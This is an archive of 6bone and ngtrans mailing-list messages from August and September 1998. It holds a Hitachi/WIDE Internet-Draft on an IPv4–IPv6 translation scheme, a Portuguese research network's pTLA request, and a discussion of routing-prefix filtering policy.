INTERNET-DRAFT                                             August 1998


3.1 Communication from an IPv4 node to an IPv6 node

    This subsection describes communication between an IPv4 node called
    "host4" and an IPv6 node called "host6". The communication is
    triggered by "host4".

    "host4" sends a query to an extension name server to resolves 'A'
    record for "host6".

    The extension name server tries resolving both 'A' record and 'AAAA'
    record for "host6" but only 'AAAA' record is resolved. Then the
    server requests an address mapper to assign one IPv4 address
    correspond to the IPv6 address.

    The address mapper selects one IPv4 address out of its IPv4 address
    spool and returns it to the server.

    The server creates 'A' record for the assigned IPv4 address and
    returns it to "host4".

    "host4" sends IPv4 data to "host6".

    The IPv4 data reaches a translator. The translator tries translating
    the IPv4 data to IPv6 data but does not know how to translate. (For
    example, a proxy gateway cannot create an IPv6 connection to "host6"
    since the IPv6 address of "host6" is not available.)  So, the
    translator requests the mapper to tell mapping entries for the IPv4
    source address and the IPv4 destination address.

    The mapper looks up its mapping table with the IPv4 destination
    address and finds one IPv6 address for it. Then the mapper looks up
    its mapping table with the IPv4 source address. In this case, there
    is not a mapping entry so the mapper selects one IPv6 address for
    the IPv4 source address. Finally, the mapper returns a pair of the
    IPv6 source address and the IPv6 destination address to the
    translator.

    The translator translates the IPv4 data to IPv6 data. (For example,
    the proxy gateway creates one IPv6 connection to "host6" and relay
    the IPv4 data.)

    The IPv6 data reaches "host6". "host6" sends new IPv6 data to
    "host4".

    The IPv6 data reaches the translator. This time the translator has
    mapping entries for the IPv6 source address and the IPv6 destination



Tsuchiya      draft-ietf-ngtrans-ipv4-ipv6-xlator-00.txt      [Page 5]
INTERNET-DRAFT                                             August 1998


    address. The translator translates the IPv6 data to IPv4 data. (For
    example, the proxy gateway just relays the data.)

    The IPv4 data reaches "host4".

    The following diagram illustrates the interaction above:


        IPv4    extension      address    translator    IPv6
        node    name server    mapper                   node
        "host4"                                         "host6"


        Resolve an IPv4 address for host6

            ---> Query of 'A' record for "host6".

                only 'AAAA' record is resolved.

                           ---> Request one IPv4 address correspond to
                                the IPv6 address.

                               Assign on IPv4 address.

                           <--- Reply with the IPv4 address.

                Create 'A' record for the IPv4 address.

            <--- Reply with the 'A' record.





















Tsuchiya      draft-ietf-ngtrans-ipv4-ipv6-xlator-00.txt      [Page 6]
INTERNET-DRAFT                                             August 1998


        IPv4    extension      address    translator    IPv6
        node    name server    mapper                   node
        "host4"                                         "host6"

        Send data to host6

            =============================> IPv4 data

                                          Try translating but don't
                                          know how to translate it.

                                      <--- Request IPv6 addresses
                                           corresond to the IPv4 source
                                           address and to the IPv4
                                           destination address.

                                One IPv6 address correspond to the IPv4
                                destination address is already
                                available. Assign one IPv6 address for
                                the IPv4 source address.

                                      ---> Reply with the IPv6 source
                                           address and the IPv6
                                           destination address.

                                          Translate IPv4 to IPv6.

                                                    ===> IPv6 data

                                                        Reply data to
                                                        host4

                                                    <=== IPv6 data

                                          Translate IPv6 to IPv4

           <============================== IPv6 data


3.2 Communication from an IPv6 node to an IPv4 node

    In a case where communication is triggered by "host6", its query to
    resolve 'AAAA' record for "host4" is eventually delivered to one of
    extension name servers. After interaction is symmetric to the case
    described in Sention 3.1.




Tsuchiya      draft-ietf-ngtrans-ipv4-ipv6-xlator-00.txt      [Page 7]
INTERNET-DRAFT                                             August 1998


4. Security Consideration

    Header conversions of AH [AH] and ESP [ESP] are cryptographically
    impossible. This is a big disadvantage of header conversion router
    approach. On the other hand, it is possible to use AH and ESP in
    proxy gateway approach.


5. References

    [AH] Stephen Kent and Randall Atkinson, "IP Authentication Header",
        Internet-Draft, July 1997.


    [ESP] Stephen Kent and Randall Atkinson, "IP Encapsulating Security
        Payload (ESP)", Internet-Draft, July 1997.

    [HDRCNV] Erik Nordmark, "IPv4/IPv6 Stateless Header Translator",
        Inernet-Draft, July 1997.

    [IPV4] J. Postel, "Internet Protocol", RFC 791, September 1981.

    [IPV6] S. Deering and R. Hinden, "Internet Protocol, Version 6
        (IPv6) Specification", RFC 1883, January 1996.

    [TRANS-MECH] R. Gilligan and E. Nordmark, "Transition Mechanisms for
        IPv6 Hosts and Routers", RFC 1933, April 1996.

10. Author's Addresses

    Kazuaki TSUCHIYA
    Server & Network Development Division, Hitachi, Ltd.
    810 Shimoimaizumi, Ebina-shi 243-0435 JAPAN

    Phone: +81-462-32-2111
    Fax:   +81-462-35-8325
    Email: tsuchi@ebina.hitachi.co.jp

    Munechika SUMIKAWA
    Server & Network Development Division, Hitachi, Ltd.
    810 Shimoimaizumi, Ebina-shi 243-0435 JAPAN

    Phone: +81-462-35-2111
    FAX:   +81-462-35-8325
    EMail: sumikawa@ebina.hitachi.co.jp





Tsuchiya      draft-ietf-ngtrans-ipv4-ipv6-xlator-00.txt      [Page 8]
INTERNET-DRAFT                                             August 1998


    Ken WATANABE
    Server & Network Development Division, Hitachi, Ltd.
    810 Shimoimaizumi, Ebina-shi 243-0435 JAPAN

    Phone: +81-462-35-2111
    FAX:   +81-462-35-8325
    Email: nabeken@ebina.hitachi.co.jp

    Yoshifumi ATARASHI
    Server & Network Development Division, Hitachi, Ltd.
    810 Shimoimaizumi, Ebina-shi 243-0435 JAPAN

    Phone: +81-462-35-2111
    FAX:   +81-462-35-8325
    EMail: atarashi@ebina.hitachi.co.jp

    Takahisa MIYAMOTO
    Server & Network Development Division, Hitachi, Ltd.
    810 Shimoimaizumi, Ebina-shi 243-0435 JAPAN

    Phone: +81-462-35-2111
    FAX:   +81-462-35-8325
    Email: t-miyamo@ebina.hitachi.co.jp

    Kazu YAMAMOTO
    Internet Initiative Japan Inc.
    Takebashi Yasuda Bldg.,3-13, Kanda Nishiki-cho,
    Chiyoda-ku, Tokyo 101-0054, Japan

    Phone: +81-3-5259-6000
    FAX:   +81-3-5259-6001
    EMail: kazu@iijlab.net

    Jun MURAI
    Keio University
    5322 Endo, Fujisawa 252 JAPAN

    Phone: +81-466-47-5111
    Fax:   +81-466-49-1101
    EMail: jun@wide.ad.jp









Tsuchiya      draft-ietf-ngtrans-ipv4-ipv6-xlator-00.txt      [Page 9]
-end

From 6bone-owner  Mon Aug 31 08:49:09 1998
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Date: Mon, 31 Aug 1998 08:49:03 -0700
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: pTLA request from RCCN
Cc: Pedro Figueiredo <pfig@rccn.net>, wg-wan@rccn.net, rsofia@rccn.net
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6bone folk,

Below is the pTLA request from the RCCN folk at the National Research Community
Network in Lisbon, Portugal.

 http://www.isi.edu/cgi-bin/davidk/whois.pl?rccn


Please send your comments on this to the list. If approved, I would like to
assign the pTLA by 15 Sep.

Thanks,
Bob

=====================================
>Date: Fri, 28 Aug 1998 14:02:52 +0100 (WEST)
>From: Pedro Figueiredo <pfig@rccn.net>
>To: rlfink@lbl.gov
>Subject: ptla assignment request
>Cc: wg-wan@rccn.net, rsofia@rccn.net
>
>dear bob,
>
>i am responsible for the rccn (who manages the portuguese research
>network) ipv6 project. fccn would like to apply for a ptla assignment.
>
>fccn is in charge of managing rccn, the portuguese research community
>network. we've been working with ipv6 since may, with the goal of
>establishing an appropriate transition scheme when the time comes, and
>to assess the benefits for the network.
>
>1. must have experience with ipv6 in the 6bone, at least as a leaf
>site, and preferably as an NLA transit under a pTLA.
>
>we are operating a 6bone node at rccn's management center, and have
>established tunnels and bgp4+ routing peers with switch/ch; ul/pt and
>sprint/us.
>
>2. must have the ability and intent to provide "production-like" 6bone
>backbone service to provide a robust and operationally reliable 6bone
>backbone.
>
>we currently run several services on an ipv6 node at rccn's management
>center and have several agreements to connect several institutions who
>have an insterest in ipv6, namely several portuguese universities.
>
>3. must have a potential "user community" that would be served by
>becoming a pTLA, e.g., the requester is a major player in a region,
>country or focus of interest.
>
>fccn manages the portuguese national research comunnity network,
>connecting the majority of the universities in the country, as well as
>many research laboratories.
>
>4. must commit to abide by whatever the 6bone backbone operational
>rules and policies are (currently there are no formal ones, but the
>alain duran draft is a start in trying to define some).
>
>we hereby state that will abide to the 6bone operational rules and
>policies.
>
>thank you very much for your time.
>---
>pedro figueiredo
-end 

From 6bone-owner  Mon Aug 31 09:01:36 1998
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Date: Mon, 31 Aug 1998 09:01:31 -0700
To: kazu@mew.org
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: (ngtrans) our paper on translator
Cc: ngtrans@sunroof.eng.sun.com, 6bone@ISI.EDU
In-Reply-To: <19980828075856S.kazu@iijlab.net>
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Kazu,

At 07:58 AM 8/28/98 +0900, kazu@mew.org wrote:
>Hi, 
>
>Our paper entitled "Deployment and Experiences of WIDE 6bone", which
>was accepted for inclusion in proceedings of INET 98, is now available
>from the following URL:
>
>	http://www.v6.wide.ad.jp/Papers/yamamoto/
>
>The last section of this paper explains essential components of
>translators and nicely categorize them.
>
>If necessary, I will write up a new ID based on this paper for
>circulation.

This type of real experience is just the type of Info RFC we want published from ngtrans, so I encourage you to put it in RFC format and circulate to the list for processing.


Good work!


Thanks,

Bob

From 6bone-owner  Mon Aug 31 09:38:56 1998
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Date: Mon, 31 Aug 1998 09:38:49 -0700
To: ngtrans@sunroof.eng.sun.com, 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: (ngtrans) last call for Hitachi's IPv6 over IPv4 Xlator
  draft forExperimental RFC forwarding
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Regarding my "last call" for the Hitachi translator work, Kazuaki Tsuchiya has decided to split the draft up, so we will wait till he forwards the new one(s) before any more review.


Bob

=====
>Sorry, Bob.
>I'd like to follow your advice if I can do.
>But I want to divide into another draft about the IPv6 tool
>announced in this ngtrans-wg.
>
>Would you please give me for a while?
>I will try to write another draft about of the IPv6 tool.
>And I'd like to make the draft an Experimental RFC.
>
>
>Regards,
>-Kazuaki Tsuchiya, Hitachi,Ltd.
>
>
>
>At 06:21 98/08/28 -0700, you wrote:
>> ngtrans,
>> 
>> The following I-D by Kazuaki Tsuchiya and others of Hitachi and WIDE has
>been presented in the past and now has an experimental implementation
>available (announced at this week's ngtrans meeting in Chicago). Thus I
>want us to ready this for being submitted for Experimental RFC status, so
>this is the equivalent of last call before forwarding to the IESG.
>> 
>> Please send your comments to the ngtrans list by 11 September.
>> 
>> For your refernce, I have included the RFC 2026 "Internet Standards
>Process" information on Experimental status:
>> 
>> >4.2.1  Experimental
>> >   The "Experimental" designation typically denotes a specification that
>> >   is part of some research or development effort.  Such a specification
>> >   is published for the general information of the Internet technical
>> >   community and as an archival record of the work, subject only to
>> >   editorial considerations and to verification that there has been
>> >   adequate coordination with the standards process (see below).  An
>> >   Experimental specification may be the output of an organized Internet
>> >   research effort (e.g., a Research Group of the IRTF), an IETF Working
>> >   Group, or it may be an individual contribution.
>> 
>> 
>> Thanks,
>> 
>> Bob
>> _____________________________________cut here___________________________
>> INTERNET-DRAFT                                      K. Tsuchiya, Hitachi
>>                                                     M. Sumikawa, Hitachi
>> Expires in six month                                K. Watanabe, Hitachi
>>                                                     Y. Atarashi, Hitachi
>>                                                     T. Miyamoto, Hitachi
>>                                                         K. Yamamoto, IIJ
>>                                                J. Murai, Keio University
>> 
>> 
>>             A Communication Mechanism between IPv4 and IPv6
>> 
>>               <draft-ietf-ngtrans-ipv4-ipv6-xlator-00.txt>
>> 
>> Status of this Memo
>> 
>>     This document is an Internet-Draft. Internet-Drafts are working
>>     documents of the Internet Engineering Task Force (IETF), its areas,

>>     and its working groups. Note that other groups may also distribute
>>     working documents as Internet-Drafts.
>> 
>>     Internet-Drafts are draft documents valid for a maximum of six
>>     months and may be updated, replaced, or obsoleted by other documents
>>     at any time.  It is inappropriate to use Internet-Drafts as
>>     reference material or to cite them other than as ``work in
>>     progress.''
>> 
>>     To learn the current status of any Internet-Draft, please check the
>>     ``1id-abstracts.txt'' listing contained in the Internet-Drafts
>>     Shadow Directories on ds.internic.net (US East Coast), nic.nordu.net
>>     (Europe), ftp.isi.edu (US West Coast), or munnari.oz.au (Pacific
>>     Rim).
>> 
>> Abstract
>> 
>>     In the late stage of the transition from IPv4 to IPv6, IPv4 lands
>>     are interconnected by IPv6 ocean and it is necessary for an IPv4
>>     node and an IPv6 to communicate directly. This memo proposes a
>>     mechanism to enable such direct communication with extension name
>>     servers, an address mapper, and translators for each IPv4 land.
>> 
>> 
>> 1. Introduction
>> 
>>     RFC1933 [TRANS-MECH] proposed mechanisms to transit IPv4 [IPv4] to
>>     IPv6 [IPv6], including dual stack and tunneling, for the early
>>     stage. IPv6 nodes are assumed to have IPv4 stack and IPv4 addresses.
>>     In the late stage of the transition, however, the space of IPv4
>> 
>> 
>> 
>> Tsuchiya      draft-ietf-ngtrans-ipv4-ipv6-xlator-00.txt      [Page 1]
>> INTERNET-DRAFT                                             August 1998
>> 
>> 
>>     address will be exhausted. So, an IPv4 address cannot be assigned to
>>     dual-stack hosts. Moreover, IPv6-only hosts will appear for cost
>>     reasons. It is expected that IPv4 hosts will retain for a long time,
>>     even after appearance of IPv6-only hosts. Therefore, it is highly
>>     desired to develop a mechanism to enable a communication between an
>>     IPv4 host and an IPv6 host directly.
>> 
>>     Though a header conversion mechanism is defined in [HDRCNV],
>>     interaction for an IPv4 host, an IPv6 host, a header conversion
>>     router, and name servers is not mentioned. This memo describes an
>>     entire scheme of direct communications between IPv4 hosts and IPv6
>>     hosts. The scheme is applicable to environments where there are
>>     multiple name servers and multiple site boundary routes thanks to
>>     one "address mapper".  It is not necessary to modify IPv4 hosts and
>>     IPv6 hosts.
>> 
>>     This document uses the words defined in [IPV4], [IPV6], and
>>     [TRANS-MECH].
>> 
>> 2. Components
>> 
>>     In the late stage of the transition, IPv4 "land"s are interconnected
>>     by IPv6 "ocean". A set of IPv4-only nodes in an organization is an
>>     example of IPv6 island.
>> 
>>     The proposed system consists of extension name servers, one address
>>     mapper, and translators. To implement communication between IPv4
>>     nodes and IPv6 nodes, each IPv4 island needs to install such
>>     components.
>> 

>>     Extension name servers have both IPv4 stack and IPv6 stack and
>>     provides name service to IPv4 nodes and IPv6 nodes. Translators also
>>     have dual-stack functionality and translates "language" of IPv4
>>     nodes and that of IPv6 nodes. The address mapper is communicates
>>     only with the extension name servers and the translators.
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> Tsuchiya      draft-ietf-ngtrans-ipv4-ipv6-xlator-00.txt      [Page 2]
>> INTERNET-DRAFT                                             August 1998
>> 
>> 
>>     Figure 1 illustrates an IPv4 land which installed the proposed
>>     system.
>> 
>>       +---------+                                +-------- //
>>       |IPv4 node|                                |
>>       +----+----+                                |
>>            |                                     |
>>     +------+------+                              |
>>     |             |                              |
>>     |An IPv4 land |                              | IPv6 ocean
>>     |             |                              |
>>     |             |  +------------------------+  |         +---------+
>>     |             +--+ extension name servers +--+         |IPv6 node|
>>     |             |  +------------+-----------+  |         +---------+
>>     |             |               |              |
>>     |             |  +------------+-----------+  |         +---------+
>> 
>>     |             |  |   one address mapper   |  |         |IPv6 node|
>>     |             |  +------------+-----------+  |         +---------+
>>     |             |               |              |
>>     |             |  +------------+-----------+  |         +---------+
>>     |             +--+       translators      +--+         |IPv6 node|
>>     |             |  +------------------------+  |         +---------+
>>     |             |                              |
>>     +------+------+                              |
>>            |                                     |
>>       +----+----+                                |
>>       |IPv4 node|                                +-------- //
>>       +---------+
>> 
>>                                 Figure 1
>> 
>> 
>> 2.1 Translator between IPv4 and IPv6
>> 
>>     The followings are examples of Translator between IPv4 and IPv6.
>> 
>>     (1) Proxy gateway
>> 
>>         An proxy gateway locates between an IPv4 host and an IPv6 host
>>         and establishes both an IPv4 connection to the IPv4 host and an
>>         IPv6 connection to the IPv6 host. The proxy gateway relays data
>>         from the IPv4 host to the IPv6 host and vice versa.
>> 
>>     (2) Header conversion router
>> 
>>         A header conversion router locates between an IPv4 host and an
>> 
>> 
>> 
>> Tsuchiya      draft-ietf-ngtrans-ipv4-ipv6-xlator-00.txt      [Page 3]
>> INTERNET-DRAFT                                             August 1998
>> 
>> 
>>         IPv6 host. When the router receives an IPv4 packet, the router
>>         converts its IPv4 header to an IPv6 header then forwards it.
>>         When the router receives an IPv6 packet, the router converts its

>>         IPv6 header to an IPv4 header then fragments the packet if
>>         necessary and forwards it.
>> 
>> 2.2 Extension Name Server
>> 
>>     Extension name servers returns a "proper" answer in a response to
>>     IPv4 node's request or IPv6 node's request.
>> 
>>     An IPv4 node typically requests one of extension name servers to
>>     resolve 'A' record correspond to a host name. If 'A' record is
>>     resolved, the server returns it. If only 'AAAA' record is available,
>>     the server requests an address mapper to assign one IPv4 address
>>     correspond to its IPv6 address. Then the server returns the assigned
>>     IPv4 address to the IPv4 node.
>> 
>>     An IPv6 node typically requests one of extension name servers to
>>     resolve 'AAAA' record correspond to a host name. If 'AAAA' record is
>>     resolved, the server returns it. If only 'A' record is available,
>>     the server requests the address mapper to assign one IPv6 address
>>     correspond to its IPv4 address. Then the server returns the assigned
>>     IPv6 address to IPv6 node.
>> 
>> 2.3 Address Mapper
>> 
>>     An address mapper maintains an IPv4 address spool and an IPv6
>>     address spool. An example of the IPv4 address spool is private
>>     addresses(e.g number 10). An example of the IPv6 address spool is a
>>     part of IPv6 space assigned to the organization where the IPv4 land
>>     locates inside.
>> 
>>     When an extension name server or a translator requests one IPv6
>>     address for an IPv4 address, the address mapper selects one IPv6
>>     address from the IPv6 address spool and returns it.
>> 
>> 
>>     When an extension name server or a translator requests one IPv4
>>     address for an IPv6 address, the address mapper selects one IPv4
>>     address from the IPv4 address spool and returns it.
>> 
>> 3. Interaction Examples
>> 
>>     The following subsection explains communication from an IPv4 node to
>>     an IPv6 node and communication from an IPv6 node to an IPv4 node,
>>     respectively.
>> 
>> 
>> 
>> Tsuchiya      draft-ietf-ngtrans-ipv4-ipv6-xlator-00.txt      [Page 4]
>> INTERNET-DRAFT                                             August 1998
>> 
>> 
>> 3.1 Communication from an IPv4 node to an IPv6 node
>> 
>>     This subsection describes communication between an IPv4 node called
>>     "host4" and an IPv6 node called "host6". The communication is
>>     triggered by "host4".
>> 
>>     "host4" sends a query to an extension name server to resolves 'A'
>>     record for "host6".
>> 
>>     The extension name server tries resolving both 'A' record and 'AAAA'
>>     record for "host6" but only 'AAAA' record is resolved. Then the
>>     server requests an address mapper to assign one IPv4 address
>>     correspond to the IPv6 address.
>> 
>>     The address mapper selects one IPv4 address out of its IPv4 address
>>     spool and returns it to the server.
>> 
>>     The server creates 'A' record for the assigned IPv4 address and
>>     returns it to "host4".
>> 
>>     "host4" sends IPv4 data to "host6".
>> 

>>     The IPv4 data reaches a translator. The translator tries translating
>>     the IPv4 data to IPv6 data but does not know how to translate. (For
>>     example, a proxy gateway cannot create an IPv6 connection to "host6"
>>     since the IPv6 address of "host6" is not available.)  So, the
>>     translator requests the mapper to tell mapping entries for the IPv4
>>     source address and the IPv4 destination address.
>> 
>>     The mapper looks up its mapping table with the IPv4 destination
>>     address and finds one IPv6 address for it. Then the mapper looks up
>>     its mapping table with the IPv4 source address. In this case, there
>>     is not a mapping entry so the mapper selects one IPv6 address for
>>     the IPv4 source address. Finally, the mapper returns a pair of the
>>     IPv6 source address and the IPv6 destination address to the
>>     translator.
>> 
>>     The translator translates the IPv4 data to IPv6 data. (For example,
>>     the proxy gateway creates one IPv6 connection to "host6" and relay
>>     the IPv4 data.)
>> 
>>     The IPv6 data reaches "host6". "host6" sends new IPv6 data to
>>     "host4".
>> 
>>     The IPv6 data reaches the translator. This time the translator has
>>     mapping entries for the IPv6 source address and the IPv6 destination
>> 
>> 
>> 
>> Tsuchiya      draft-ietf-ngtrans-ipv4-ipv6-xlator-00.txt      [Page 5]
>> INTERNET-DRAFT                                             August 1998
>> 
>> 
>>     address. The translator translates the IPv6 data to IPv4 data. (For
>>     example, the proxy gateway just relays the data.)
>> 
>>     The IPv4 data reaches "host4".
>> 
>>     The following diagram illustrates the interaction above:
>> 
>> 
>>         IPv4    extension      address    translator    IPv6
>>         node    name server    mapper                   node
>>         "host4"                                         "host6"
>> 
>> 
>>         Resolve an IPv4 address for host6
>> 
>>             ---> Query of 'A' record for "host6".
>> 
>>                 only 'AAAA' record is resolved.
>> 
>>                            ---> Request one IPv4 address correspond to
>>                                 the IPv6 address.
>> 
>>                                Assign on IPv4 address.
>> 
>>                            <--- Reply with the IPv4 address.
>> 
>>                 Create 'A' record for the IPv4 address.
>> 
>>             <--- Reply with the 'A' record.
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> Tsuchiya      draft-ietf-ngtrans-ipv4-ipv6-xlator-00.txt      [Page 6]
>> INTERNET-DRAFT                                             August 1998
>> 
>> 
>>         IPv4    extension      address    translator    IPv6
>>         node    name server    mapper                   node
>>         "host4"                                         "host6"
>> 
>>         Send data to host6
>> 
>>             =============================> IPv4 data
>> 
>>                                           Try translating but don't
>>                                           know how to translate it.
>> 

>>                                       <--- Request IPv6 addresses
>>                                            corresond to the IPv4 source
>>                                            address and to the IPv4
>>                                            destination address.
>> 
>>                                 One IPv6 address correspond to the IPv4
>>                                 destination address is already
>>                                 available. Assign one IPv6 address for
>>                                 the IPv4 source address.
>> 
>>                                       ---> Reply with the IPv6 source
>>                                            address and the IPv6
>>                                            destination address.
>> 
>>                                           Translate IPv4 to IPv6.
>> 
>>                                                     ===> IPv6 data
>> 
>>                                                         Reply data to
>>                                                         host4
>> 
>>                                                     <=== IPv6 data
>> 
>>                                           Translate IPv6 to IPv4
>> 
>>            <============================== IPv6 data
>> 
>> 
>> 3.2 Communication from an IPv6 node to an IPv4 node
>> 
>>     In a case where communication is triggered by "host6", its query to
>>     resolve 'AAAA' record for "host4" is eventually delivered to one of
>>     extension name servers. After interaction is symmetric to the case
>>     described in Sention 3.1.
>> 
>> 
>> 
>> 
>> Tsuchiya      draft-ietf-ngtrans-ipv4-ipv6-xlator-00.txt      [Page 7]
>> INTERNET-DRAFT                                             August 1998
>> 
>> 
>> 4. Security Consideration
>> 
>>     Header conversions of AH [AH] and ESP [ESP] are cryptographically
>>     impossible. This is a big disadvantage of header conversion router
>>     approach. On the other hand, it is possible to use AH and ESP in
>>     proxy gateway approach.
>> 
>> 
>> 5. References
>> 
>>     [AH] Stephen Kent and Randall Atkinson, "IP Authentication Header",
>>         Internet-Draft, July 1997.
>> 
>> 
>>     [ESP] Stephen Kent and Randall Atkinson, "IP Encapsulating Security
>>         Payload (ESP)", Internet-Draft, July 1997.
>> 
>>     [HDRCNV] Erik Nordmark, "IPv4/IPv6 Stateless Header Translator",
>>         Inernet-Draft, July 1997.
>> 
>>     [IPV4] J. Postel, "Internet Protocol", RFC 791, September 1981.
>> 
>>     [IPV6] S. Deering and R. Hinden, "Internet Protocol, Version 6
>>         (IPv6) Specification", RFC 1883, January 1996.
>> 
>>     [TRANS-MECH] R. Gilligan and E. Nordmark, "Transition Mechanisms for
>>         IPv6 Hosts and Routers", RFC 1933, April 1996.
>> 
>> 10. Author's Addresses
>> 
>>     Kazuaki TSUCHIYA
>>     Server & Network Development Division, Hitachi, Ltd.
>>     810 Shimoimaizumi, Ebina-shi 243-0435 JAPAN
>> 
>>     Phone: +81-462-32-2111
>>     Fax:   +81-462-35-8325
>>     Email: tsuchi@ebina.hitachi.co.jp
>> 
>>     Munechika SUMIKAWA
>>     Server & Network Development Division, Hitachi, Ltd.

>>     810 Shimoimaizumi, Ebina-shi 243-0435 JAPAN
>> 
>>     Phone: +81-462-35-2111
>>     FAX:   +81-462-35-8325
>>     EMail: sumikawa@ebina.hitachi.co.jp
>> 
>> 
>> 
>> 
>> 
>> Tsuchiya      draft-ietf-ngtrans-ipv4-ipv6-xlator-00.txt      [Page 8]
>> INTERNET-DRAFT                                             August 1998
>> 
>> 
>>     Ken WATANABE
>>     Server & Network Development Division, Hitachi, Ltd.
>>     810 Shimoimaizumi, Ebina-shi 243-0435 JAPAN
>> 
>>     Phone: +81-462-35-2111
>>     FAX:   +81-462-35-8325
>>     Email: nabeken@ebina.hitachi.co.jp
>> 
>>     Yoshifumi ATARASHI
>>     Server & Network Development Division, Hitachi, Ltd.
>>     810 Shimoimaizumi, Ebina-shi 243-0435 JAPAN
>> 
>>     Phone: +81-462-35-2111
>>     FAX:   +81-462-35-8325
>>     EMail: atarashi@ebina.hitachi.co.jp
>> 
>>     Takahisa MIYAMOTO
>>     Server & Network Development Division, Hitachi, Ltd.
>>     810 Shimoimaizumi, Ebina-shi 243-0435 JAPAN
>> 
>>     Phone: +81-462-35-2111
>>     FAX:   +81-462-35-8325
>>     Email: t-miyamo@ebina.hitachi.co.jp
>> 
>>     Kazu YAMAMOTO
>>     Internet Initiative Japan Inc.
>>     Takebashi Yasuda Bldg.,3-13, Kanda Nishiki-cho,
>>     Chiyoda-ku, Tokyo 101-0054, Japan
>> 
>>     Phone: +81-3-5259-6000
>>     FAX:   +81-3-5259-6001
>>     EMail: kazu@iijlab.net
>> 
>>     Jun MURAI
>>     Keio University
>>     5322 Endo, Fujisawa 252 JAPAN
>> 
>>     Phone: +81-466-47-5111
>>     Fax:   +81-466-49-1101
>>     EMail: jun@wide.ad.jp
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> 
>> Tsuchiya      draft-ietf-ngtrans-ipv4-ipv6-xlator-00.txt      [Page 9]
>> -end
>> 
>--------------------------------------------------------
>Kazuaki Tsuchiya (E-mail:tsuchi@ebina.hitachi.co.jp)
>    Hitachi, Ltd.  Server & Network Development Division
>        Phone:+81-462-32-2111(ex.5835)   Fax:+81-462-35-8337  
> 

From 6bone-owner  Mon Aug 31 11:43:39 1998
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From: Robert Rockell <rrockell@sprint.net>
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Subject: PTLA requirements
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While I believe that the minimum tunnel requirement may not be the best and most reasonable
idea, based on geographic distribution of sites, and all the other reasons mentioned, I do believe
that there should be some mechanism in place such that we can guarantee that the vast majority of PTLA 
owners are serious about the 6-bone... Maybe something such as "all PTLA owners must accept reasonable peering 
requests with other PTLA owners, and seriously consider requests for downstream sessions wiht those desirous of 
6bone connectivity", though this brings into account the need to define "seriously".

Any thoughts?


Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833


From 6bone-owner  Mon Aug 31 13:23:12 1998
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To: ngtrans@sunroof.Eng.Sun.COM, 6bone@ISI.EDU
Cc: v6@wide.ad.jp
Subject: Re: (ngtrans) last call for Hitachi's IPv6 over IPv4 Xlator
  draft forExperimental RFC forwarding
From: Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=) <kazu@iijlab.net>
In-Reply-To: Your message of "Mon, 31 Aug 1998 09:38:49 -0700"
	<1307566166-66749043@cnrmail.lbl.gov>
References: <1307566166-66749043@cnrmail.lbl.gov>
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From: Bob Fink <rlfink@lbl.gov>
Subject: Re: (ngtrans) last call for Hitachi's IPv6 over IPv4 Xlator
  draft forExperimental RFC forwarding
Date: Mon, 31 Aug 1998 09:38:49 -0700

> Regarding my "last call" for the Hitachi translator work, Kazuaki
> Tsuchiya has decided to split the draft up, so we will wait till he
> forwards the new one(s) before any more review.

Let me clarify.

(1) I will write up an ID on translators based on the INET '98 papar
to sophisticate our previous translator ID.

(2) Tsuchiya will write an ID on his *driver-base* duail stack
implementation. I think we cannot call it translator. Rather, it is a
technic called *bump-in-the-stack* (in IPsec terminology) for
dual-stack.

And, 

(3) WIDE Project will publish our mail experience on 6bone which
explained in LA meeting. Japanese note is already on the table. I have
to translate into English.

Allow me one month or so because I'm suffering from my Ph. D paper....

--Kazu, WIDE Project

From 6bone-owner  Fri Sep  4 09:38:53 1998
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From: Robert Rockell <rrockell@sprint.net>
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Should backbone nodes be filtering out anything beyond a /24 that is not
from their ptla? 

For instance, if I am getting a /24 aggregate from a peer, and someone else
is announcing a more specific /48, it really makes a mess. 

Is there a definitive policy put forth that we can ask to have enforced? I
am seeing many assymetries due to differences in routing policy.


Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833


From 6bone-owner  Fri Sep  4 17:00:38 1998
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Date: Fri, 04 Sep 1998 17:00:32 -0700
To: Robert Rockell <rrockell@sprint.net>, 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: routing policy questions
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 tlink.net>
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Robert,

At 12:21 PM 9/4/98 -0400, Robert Rockell wrote:
>Should backbone nodes be filtering out anything beyond a /24 that is not
>from their ptla? 
>
>For instance, if I am getting a /24 aggregate from a peer, and someone else
>is announcing a more specific /48, it really makes a mess. 
>
>Is there a definitive policy put forth that we can ask to have enforced? I
>am seeing many assymetries due to differences in routing policy.

Our operating policies are in the document:

	http://www.6bone.net/6bone-routing-practice.htm

which also has a pointer on the 6bone home page.

The operative portion is:

>   pTLA MUST NOT advertise prefixes longer than 24 to other pTLAs unless
>   special peering agreements are implemented. When such special peering
>   agreements are in place between any two or more pTLAs, care MUST be taken
>   not to leak the more specific prefixes to other pTLAs not participating 
>   in the peering agreement.


Bob

From 6bone-owner  Mon Sep  7 00:30:08 1998
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From: "Buclin, Bertrand" <Bertrand.Buclin@ch.att.com>
To: "'Robert Rockell'" <rrockell@sprint.net>, 6bone@ISI.EDU
Subject: RE: routing policy questions
Date: Mon, 7 Sep 1998 08:28:35 +0100 
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> Should backbone nodes be filtering out anything beyond a /24 
> that is not from their ptla? 

As Bob Fink pointed out, first of all backbone nodes should only
be announcing a /24 for their own pTLA. If everyone does this, then
we have already reduced the problem quite a bit. You can receive
more specific routes from NLAs as well. In that case, you can easily
convince your NLA site to fix the list of prefix they advertise.

There has been discussion among some backbone sites to see if it
would make sense that the backbone TLAs implement strict filtering
rules (i.e. block everything but the /24 pTLAs). The consensus was
that this would not be a productive way of doing things: we would
hide the problems instead of giving us an opportunity to work them
out.

> For instance, if I am getting a /24 aggregate from a peer, and someone
else
